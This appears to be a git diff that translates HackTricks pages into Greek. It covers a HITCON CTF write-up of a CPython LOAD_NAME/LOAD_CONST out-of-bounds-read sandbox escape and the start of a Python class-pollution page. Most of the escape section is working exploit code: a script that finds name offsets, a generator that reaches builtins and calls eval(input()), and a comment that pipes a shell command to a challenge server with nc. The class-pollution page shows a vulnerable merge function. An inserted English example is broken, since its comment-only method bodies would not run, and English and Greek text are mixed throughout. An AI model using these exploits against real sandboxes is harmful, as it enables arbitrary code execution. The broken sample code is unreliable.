* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,122 +1,111 @@
|
|||
# LOAD\_NAME / LOAD\_CONST opcode OOB Read
|
||||
# Φόρτωση Ονόματος / Φόρτωση Σταθεράς κωδικού OOB Read
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
**This info was taken** [**from this writeup**](https://blog.splitline.tw/hitcon-ctf-2022/)**.**
|
||||
**Αυτές οι πληροφορίες προήλθαν** [**από αυτήν την ανάλυση**](https://blog.splitline.tw/hitcon-ctf-2022/)**.**
|
||||
|
||||
### TL;DR <a href="#tldr-2" id="tldr-2"></a>
|
||||
|
||||
We can use OOB read feature in LOAD\_NAME / LOAD\_CONST opcode to get some symbol in the memory. Which means using trick like `(a, b, c, ... hundreds of symbol ..., __getattribute__) if [] else [].__getattribute__(...)` to get a symbol (such as function name) you want.
|
||||
Μπορούμε να χρησιμοποιήσουμε τη δυνατότητα OOB read στον κωδικό LOAD\_NAME / LOAD\_CONST για να πάρουμε ορισμένο σύμβολο από τη μνήμη. Αυτό σημαίνει ότι χρησιμοποιούμε κόλπο όπως `(a, b, c, ... εκατοντάδες σύμβολα ..., __getattribute__) if [] else [].__getattribute__(...)` για να πάρουμε ένα σύμβολο (όπως το όνομα μιας συνάρτησης) που θέλουμε.
|
||||
|
||||
Then just craft your exploit.
|
||||
Στη συνέχεια απλά δημιουργήστε την εκμετάλλευσή σας.
|
||||
|
||||
### Overview <a href="#overview-1" id="overview-1"></a>
|
||||
|
||||
The source code is pretty short, only contains 4 lines!
|
||||
### Επισκόπηση <a href="#overview-1" id="overview-1"></a>
|
||||
|
||||
Ο πηγαίος κώδικας είναι αρκετά σύντομος, περιέχει μόνο 4 γραμμές!
|
||||
```python
|
||||
source = input('>>> ')
|
||||
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
|
||||
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
|
||||
print(eval(code, {'__builtins__': {}}))1234
|
||||
```
|
||||
Μπορείτε να εισάγετε αυθαίρετο κώδικα Python και θα μεταγλωττιστεί σε ένα [αντικείμενο κώδικα Python](https://docs.python.org/3/c-api/code.html). Ωστόσο, τα `co_consts` και `co_names` αυτού του αντικειμένου κώδικα θα αντικατασταθούν με ένα κενό tuple πριν από την αξιολόγηση αυτού του αντικειμένου κώδικα.
|
||||
|
||||
You can input arbitrary Python code, and it'll be compiled to a [Python code object](https://docs.python.org/3/c-api/code.html). However `co_consts` and `co_names` of that code object will be replaced with an empty tuple before eval that code object.
|
||||
Έτσι, όλες οι εκφράσεις που περιέχουν σταθερές (π.χ. αριθμούς, συμβολοσειρές κλπ.) ή ονόματα (π.χ. μεταβλητές, συναρτήσεις) μπορεί να προκαλέσουν σφάλμα σεγματοποίησης (segmentation fault) στο τέλος.
|
||||
|
||||
So in this way, all the expression contains consts (e.g. numbers, strings etc.) or names (e.g. variables, functions) might cause segmentation fault in the end.
|
||||
### Ανάγνωση εκτός ορίων (Out of Bound Read) <a href="#out-of-bound-read" id="out-of-bound-read"></a>
|
||||
|
||||
### Out of Bound Read <a href="#out-of-bound-read" id="out-of-bound-read"></a>
|
||||
|
||||
How does the segfault happen?
|
||||
|
||||
Let's start with a simple example, `[a, b, c]` could compile into the following bytecode.
|
||||
Πώς συμβαίνει το σφάλμα σεγματοποίησης;
|
||||
|
||||
Ας ξεκινήσουμε με ένα απλό παράδειγμα, `[a, b, c]` μπορεί να μεταγλωττιστεί στον ακόλουθο κώδικα bytecode.
|
||||
```
|
||||
1 0 LOAD_NAME 0 (a)
|
||||
2 LOAD_NAME 1 (b)
|
||||
4 LOAD_NAME 2 (c)
|
||||
6 BUILD_LIST 3
|
||||
8 RETURN_VALUE12345
|
||||
1 0 LOAD_NAME 0 (a)
|
||||
2 LOAD_NAME 1 (b)
|
||||
4 LOAD_NAME 2 (c)
|
||||
6 BUILD_LIST 3
|
||||
8 RETURN_VALUE12345
|
||||
```
|
||||
Αλλά τι γίνεται αν τα `co_names` γίνουν ένα άδειο tuple; Το opcode `LOAD_NAME 2` εξακολουθεί να εκτελείται και προσπαθεί να διαβάσει την τιμή από τη διεύθυνση μνήμης που θα έπρεπε αρχικά να βρίσκεται. Ναι, αυτό είναι ένα "χαρακτηριστικό" out-of-bound read.
|
||||
|
||||
But what if the `co_names` become empty tuple? The `LOAD_NAME 2` opcode is still executed, and try to read value from that memory address it originally should be. Yes, this is an out-of-bound read "feature".
|
||||
|
||||
The core concept for the solution is simple. Some opcodes in CPython for example `LOAD_NAME` and `LOAD_CONST` are vulnerable (?) to OOB read.
|
||||
|
||||
They retrieve an object from index `oparg` from the `consts` or `names` tuple (that's what `co_consts` and `co_names` named under the hood). We can refer to the following short snippest about `LOAD_CONST` to see what CPython does when it proccesses to `LOAD_CONST` opcode.
|
||||
Η βασική έννοια για τη λύση είναι απλή. Ορισμένα opcodes στο CPython, όπως το `LOAD_NAME` και το `LOAD_CONST`, είναι ευάλωτα (?) σε OOB read.
|
||||
|
||||
Ανακτούν ένα αντικείμενο από τον δείκτη `oparg` από το tuple `consts` ή `names` (αυτό που ονομάζεται `co_consts` και `co_names` κάτω από το καπό). Μπορούμε να ανατρέξουμε στο παρακάτω σύντομο απόσπασμα για το `LOAD_CONST` για να δούμε τι κάνει το CPython όταν επεξεργάζεται το opcode `LOAD_CONST`.
|
||||
```c
|
||||
case TARGET(LOAD_CONST): {
|
||||
PREDICTED(LOAD_CONST);
|
||||
PyObject *value = GETITEM(consts, oparg);
|
||||
Py_INCREF(value);
|
||||
PUSH(value);
|
||||
FAST_DISPATCH();
|
||||
PREDICTED(LOAD_CONST);
|
||||
PyObject *value = GETITEM(consts, oparg);
|
||||
Py_INCREF(value);
|
||||
PUSH(value);
|
||||
FAST_DISPATCH();
|
||||
}1234567
|
||||
```
|
||||
Με αυτόν τον τρόπο μπορούμε να χρησιμοποιήσουμε το χαρακτηριστικό OOB για να πάρουμε ένα "όνομα" από την αυθαίρετη μνήμη. Για να βεβαιωθούμε για το ποιο όνομα έχει και ποια είναι η μετατόπισή του, απλά δοκιμάζουμε τα `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... Και μπορείτε να βρείτε κάτι για oparg > 700. Μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε το gdb για να ρίξετε μια ματιά στη διάταξη της μνήμης φυσικά, αλλά δεν νομίζω ότι θα ήταν πιο εύκολο;
|
||||
|
||||
In this way we can use the OOB feature to get a "name" from arbitrary memory offset. To make sure what name it has and what's it's offset, just keep trying `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... And you could find something in about oparg > 700. You can also try to use gdb to take a look at the memory layout of course, but I don't think it would be more easier?
|
||||
|
||||
### Generating the Exploit <a href="#generating-the-exploit" id="generating-the-exploit"></a>
|
||||
|
||||
Once we retrieve those useful offsets for names / consts, how _do_ we get a name / const from that offset and use it? Here is a trick for you:\
|
||||
Let's assume we can get a `__getattribute__` name from offset 5 (`LOAD_NAME 5`) with `co_names=()`, then just do the following stuff:
|
||||
### Δημιουργία της Εκμετάλλευσης <a href="#generating-the-exploit" id="generating-the-exploit"></a>
|
||||
|
||||
Αφού ανακτήσουμε αυτές τις χρήσιμες μετατοπίσεις για ονόματα / σταθερές, πώς _μπορούμε_ να πάρουμε ένα όνομα / σταθερά από αυτήν τη μετατόπιση και να το χρησιμοποιήσουμε; Εδώ έχουμε ένα κόλπο για εσάς:\
|
||||
Ας υποθέσουμε ότι μπορούμε να πάρουμε ένα όνομα `__getattribute__` από τη μετατόπιση 5 (`LOAD_NAME 5`) με `co_names=()`, τότε απλά κάντε τα εξής:
|
||||
```python
|
||||
[a,b,c,d,e,__getattribute__] if [] else [
|
||||
[].__getattribute__
|
||||
# you can get the __getattribute__ method of list object now!
|
||||
[].__getattribute__
|
||||
# you can get the __getattribute__ method of list object now!
|
||||
]1234
|
||||
```
|
||||
> Παρατηρήστε ότι δεν είναι απαραίτητο να το ονομάσετε ως `__getattribute__`, μπορείτε να το ονομάσετε με κάτι πιο σύντομο ή πιο παράξενο.
|
||||
|
||||
> Notice that it is not necessary to name it as `__getattribute__`, you can name it as something shorter or more weird
|
||||
|
||||
You can understand the reason behind by just viewing it's bytecode:
|
||||
|
||||
Μπορείτε να κατανοήσετε τον λόγο πίσω από αυτό απλά παρακολουθώντας το bytecode του:
|
||||
```python
|
||||
0 BUILD_LIST 0
|
||||
2 POP_JUMP_IF_FALSE 20
|
||||
>> 4 LOAD_NAME 0 (a)
|
||||
>> 6 LOAD_NAME 1 (b)
|
||||
>> 8 LOAD_NAME 2 (c)
|
||||
>> 10 LOAD_NAME 3 (d)
|
||||
>> 12 LOAD_NAME 4 (e)
|
||||
>> 14 LOAD_NAME 5 (__getattribute__)
|
||||
16 BUILD_LIST 6
|
||||
18 RETURN_VALUE
|
||||
20 BUILD_LIST 0
|
||||
>> 22 LOAD_ATTR 5 (__getattribute__)
|
||||
24 BUILD_LIST 1
|
||||
26 RETURN_VALUE1234567891011121314
|
||||
0 BUILD_LIST 0
|
||||
2 POP_JUMP_IF_FALSE 20
|
||||
>> 4 LOAD_NAME 0 (a)
|
||||
>> 6 LOAD_NAME 1 (b)
|
||||
>> 8 LOAD_NAME 2 (c)
|
||||
>> 10 LOAD_NAME 3 (d)
|
||||
>> 12 LOAD_NAME 4 (e)
|
||||
>> 14 LOAD_NAME 5 (__getattribute__)
|
||||
16 BUILD_LIST 6
|
||||
18 RETURN_VALUE
|
||||
20 BUILD_LIST 0
|
||||
>> 22 LOAD_ATTR 5 (__getattribute__)
|
||||
24 BUILD_LIST 1
|
||||
26 RETURN_VALUE1234567891011121314
|
||||
```
|
||||
Παρατηρήστε ότι το `LOAD_ATTR` ανακτά επίσης το όνομα από το `co_names`. Το Python φορτώνει ονόματα από την ίδια θέση αν το όνομα είναι το ίδιο, οπότε το δεύτερο `__getattribute__` φορτώνεται ακόμα από τη θέση offset=5. Χρησιμοποιώντας αυτήν τη δυνατότητα, μπορούμε να χρησιμοποιήσουμε οποιοδήποτε όνομα αφού το όνομα βρίσκεται στη μνήμη κοντά.
|
||||
|
||||
Notice that `LOAD_ATTR` also retrieve the name from `co_names`. Python loads names from the same offset if the name is the same, so the second `__getattribute__` is still loaded from offset=5. Using this feature we can use arbitrary name once the name is in the memory nearby.
|
||||
|
||||
For generating numbers should be trivial:
|
||||
Για τη δημιουργία αριθμών θα πρέπει να είναι απλό:
|
||||
|
||||
* 0: not \[\[]]
|
||||
* 1: not \[]
|
||||
* 2: (not \[]) + (not \[])
|
||||
* ...
|
||||
|
||||
### Exploit Script <a href="#exploit-script-1" id="exploit-script-1"></a>
|
||||
### Σενάριο Εκμετάλλευσης <a href="#exploit-script-1" id="exploit-script-1"></a>
|
||||
|
||||
I didn't use consts due to the length limit.
|
||||
|
||||
First here is a script for us to find those offsets of names.
|
||||
Δεν χρησιμοποίησα σταθερές λόγω του ορίου μήκους.
|
||||
|
||||
Πρώτα, εδώ υπάρχει ένα σενάριο για να βρούμε αυτές τις θέσεις των ονομάτων.
|
||||
```python
|
||||
from types import CodeType
|
||||
from opcode import opmap
|
||||
|
@ -124,56 +113,54 @@ from sys import argv
|
|||
|
||||
|
||||
class MockBuiltins(dict):
|
||||
def __getitem__(self, k):
|
||||
if type(k) == str:
|
||||
return k
|
||||
def __getitem__(self, k):
|
||||
if type(k) == str:
|
||||
return k
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
n = int(argv[1])
|
||||
n = int(argv[1])
|
||||
|
||||
code = [
|
||||
*([opmap['EXTENDED_ARG'], n // 256]
|
||||
if n // 256 != 0 else []),
|
||||
opmap['LOAD_NAME'], n % 256,
|
||||
opmap['RETURN_VALUE'], 0
|
||||
]
|
||||
code = [
|
||||
*([opmap['EXTENDED_ARG'], n // 256]
|
||||
if n // 256 != 0 else []),
|
||||
opmap['LOAD_NAME'], n % 256,
|
||||
opmap['RETURN_VALUE'], 0
|
||||
]
|
||||
|
||||
c = CodeType(
|
||||
0, 0, 0, 0, 0, 0,
|
||||
bytes(code),
|
||||
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
|
||||
)
|
||||
c = CodeType(
|
||||
0, 0, 0, 0, 0, 0,
|
||||
bytes(code),
|
||||
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
|
||||
)
|
||||
|
||||
ret = eval(c, {'__builtins__': MockBuiltins()})
|
||||
if ret:
|
||||
print(f'{n}: {ret}')
|
||||
ret = eval(c, {'__builtins__': MockBuiltins()})
|
||||
if ret:
|
||||
print(f'{n}: {ret}')
|
||||
|
||||
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
|
||||
```
|
||||
|
||||
And the following is for generating the real Python exploit.
|
||||
|
||||
Και το παρακάτω είναι για τη δημιουργία του πραγματικού εκμεταλλευτή Python.
|
||||
```python
|
||||
import sys
|
||||
import unicodedata
|
||||
|
||||
|
||||
class Generator:
|
||||
# get numner
|
||||
def __call__(self, num):
|
||||
if num == 0:
|
||||
return '(not[[]])'
|
||||
return '(' + ('(not[])+' * num)[:-1] + ')'
|
||||
# get numner
|
||||
def __call__(self, num):
|
||||
if num == 0:
|
||||
return '(not[[]])'
|
||||
return '(' + ('(not[])+' * num)[:-1] + ')'
|
||||
|
||||
# get string
|
||||
def __getattribute__(self, name):
|
||||
try:
|
||||
offset = None.__dir__().index(name)
|
||||
return f'keys[{self(offset)}]'
|
||||
except ValueError:
|
||||
offset = None.__class__.__dir__(None.__class__).index(name)
|
||||
return f'keys2[{self(offset)}]'
|
||||
# get string
|
||||
def __getattribute__(self, name):
|
||||
try:
|
||||
offset = None.__dir__().index(name)
|
||||
return f'keys[{self(offset)}]'
|
||||
except ValueError:
|
||||
offset = None.__class__.__dir__(None.__class__).index(name)
|
||||
return f'keys2[{self(offset)}]'
|
||||
|
||||
|
||||
_ = Generator()
|
||||
|
@ -181,29 +168,29 @@ _ = Generator()
|
|||
names = []
|
||||
chr_code = 0
|
||||
for x in range(4700):
|
||||
while True:
|
||||
chr_code += 1
|
||||
char = unicodedata.normalize('NFKC', chr(chr_code))
|
||||
if char.isidentifier() and char not in names:
|
||||
names.append(char)
|
||||
break
|
||||
while True:
|
||||
chr_code += 1
|
||||
char = unicodedata.normalize('NFKC', chr(chr_code))
|
||||
if char.isidentifier() and char not in names:
|
||||
names.append(char)
|
||||
break
|
||||
|
||||
offsets = {
|
||||
"__delitem__": 2800,
|
||||
"__getattribute__": 2850,
|
||||
'__dir__': 4693,
|
||||
'__repr__': 2128,
|
||||
"__delitem__": 2800,
|
||||
"__getattribute__": 2850,
|
||||
'__dir__': 4693,
|
||||
'__repr__': 2128,
|
||||
}
|
||||
|
||||
variables = ('keys', 'keys2', 'None_', 'NoneType',
|
||||
'm_repr', 'globals', 'builtins',)
|
||||
'm_repr', 'globals', 'builtins',)
|
||||
|
||||
for name, offset in offsets.items():
|
||||
names[offset] = name
|
||||
names[offset] = name
|
||||
|
||||
for i, var in enumerate(variables):
|
||||
assert var not in offsets
|
||||
names[792 + i] = var
|
||||
assert var not in offsets
|
||||
names[792 + i] = var
|
||||
|
||||
|
||||
source = f'''[
|
||||
|
@ -214,13 +201,13 @@ NoneType := None_.__getattribute__({_.__class__}),
|
|||
keys2 := NoneType.__dir__(NoneType),
|
||||
get := NoneType.__getattribute__,
|
||||
m_repr := get(
|
||||
get(get([],{_.__class__}),{_.__base__}),
|
||||
{_.__subclasses__}
|
||||
get(get([],{_.__class__}),{_.__base__}),
|
||||
{_.__subclasses__}
|
||||
)()[-{_(2)}].__repr__,
|
||||
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
|
||||
builtins := globals[[*globals][{_(7)}]],
|
||||
builtins[[*builtins][{_(19)}]](
|
||||
builtins[[*builtins][{_(28)}]](), builtins
|
||||
builtins[[*builtins][{_(28)}]](), builtins
|
||||
)
|
||||
]'''.strip().replace('\n', '').replace(' ', '')
|
||||
|
||||
|
@ -230,32 +217,29 @@ print(source)
|
|||
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
|
||||
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
|
||||
```
|
||||
|
||||
It basically does the following things, for those strings we get it from the `__dir__` method:
|
||||
|
||||
Βασικά, κάνει τα εξής πράγματα, για εκείνες τις συμβολοσειρές που τις παίρνουμε από τη μέθοδο `__dir__`:
|
||||
```python
|
||||
getattr = (None).__getattribute__('__class__').__getattribute__
|
||||
builtins = getattr(
|
||||
getattr(
|
||||
getattr(
|
||||
[].__getattribute__('__class__'),
|
||||
'__base__'),
|
||||
'__subclasses__'
|
||||
)()[-2],
|
||||
getattr(
|
||||
getattr(
|
||||
[].__getattribute__('__class__'),
|
||||
'__base__'),
|
||||
'__subclasses__'
|
||||
)()[-2],
|
||||
'__repr__').__getattribute__('__globals__')['builtins']
|
||||
builtins['eval'](builtins['input']())
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,23 +1,22 @@
|
|||
# Class Pollution (Python's Prototype Pollution)
|
||||
# Ρύπανση Κλάσης (Ρύπανση Προτύπου της Python)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Basic Example
|
||||
|
||||
Check how is possible to pollute classes of objects with strings:
|
||||
## Βασικό Παράδειγμα
|
||||
|
||||
Ελέγξτε πώς είναι δυνατόν να ρυπάνετε τις κλάσεις αντικειμένων με αλφαριθμητικά:
|
||||
```python
|
||||
class Company: pass
|
||||
class Developer(Company): pass
|
||||
|
@ -41,9 +40,73 @@ e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
|
|||
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
|
||||
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
|
||||
```
|
||||
## Βασικό παράδειγμα ευπάθειας
|
||||
|
||||
## Basic Vulnerability Example
|
||||
Consider the following Python code:
|
||||
|
||||
```python
|
||||
class User:
|
||||
def __init__(self, username, password):
|
||||
self.username = username
|
||||
self.password = password
|
||||
|
||||
def login(self):
|
||||
# Code for user login
|
||||
|
||||
def logout(self):
|
||||
# Code for user logout
|
||||
|
||||
class Admin(User):
|
||||
def __init__(self, username, password):
|
||||
super().__init__(username, password)
|
||||
|
||||
def promote_user(self, user):
|
||||
# Code for promoting a user to admin
|
||||
|
||||
def delete_user(self, user):
|
||||
# Code for deleting a user
|
||||
|
||||
# Creating a user object
|
||||
user = User("john", "password123")
|
||||
|
||||
# Logging in as a user
|
||||
user.login()
|
||||
|
||||
# Creating an admin object
|
||||
admin = Admin("admin", "admin123")
|
||||
|
||||
# Promoting the user to admin
|
||||
admin.promote_user(user)
|
||||
|
||||
# Deleting the user
|
||||
admin.delete_user(user)
|
||||
```
|
||||
|
||||
In this example, we have a basic implementation of a User class and an Admin class that inherits from the User class. The User class has methods for login and logout, while the Admin class has additional methods for promoting a user to admin and deleting a user.
|
||||
|
||||
However, there is a vulnerability in this code due to the lack of proper input validation. Specifically, the `promote_user` and `delete_user` methods do not check if the user being operated on is actually a User object. This means that any object can be passed as an argument to these methods, potentially leading to unauthorized access or unintended consequences.
|
||||
|
||||
To mitigate this vulnerability, it is important to add input validation to ensure that only User objects can be promoted or deleted by the Admin class. This can be done by checking the type of the object before performing any operations on it.
|
||||
|
||||
```python
|
||||
class Admin(User):
|
||||
def __init__(self, username, password):
|
||||
super().__init__(username, password)
|
||||
|
||||
def promote_user(self, user):
|
||||
if isinstance(user, User):
|
||||
# Code for promoting a user to admin
|
||||
else:
|
||||
raise ValueError("Invalid user object")
|
||||
|
||||
def delete_user(self, user):
|
||||
if isinstance(user, User):
|
||||
# Code for deleting a user
|
||||
else:
|
||||
raise ValueError("Invalid user object")
|
||||
```
|
||||
|
||||
By adding this input validation, we ensure that only User objects can be promoted or deleted by the Admin class, reducing the risk of unauthorized access or unintended consequences.
|
||||
```python
|
||||
# Initial state
|
||||
class Employee: pass
|
||||
|
@ -52,37 +115,35 @@ print(vars(emp)) #{}
|
|||
|
||||
# Vulenrable function
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
|
||||
USER_INPUT = {
|
||||
"name":"Ahemd",
|
||||
"age": 23,
|
||||
"manager":{
|
||||
"name":"Sarah"
|
||||
}
|
||||
"name":"Ahemd",
|
||||
"age": 23,
|
||||
"manager":{
|
||||
"name":"Sarah"
|
||||
}
|
||||
}
|
||||
|
||||
merge(USER_INPUT, emp)
|
||||
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
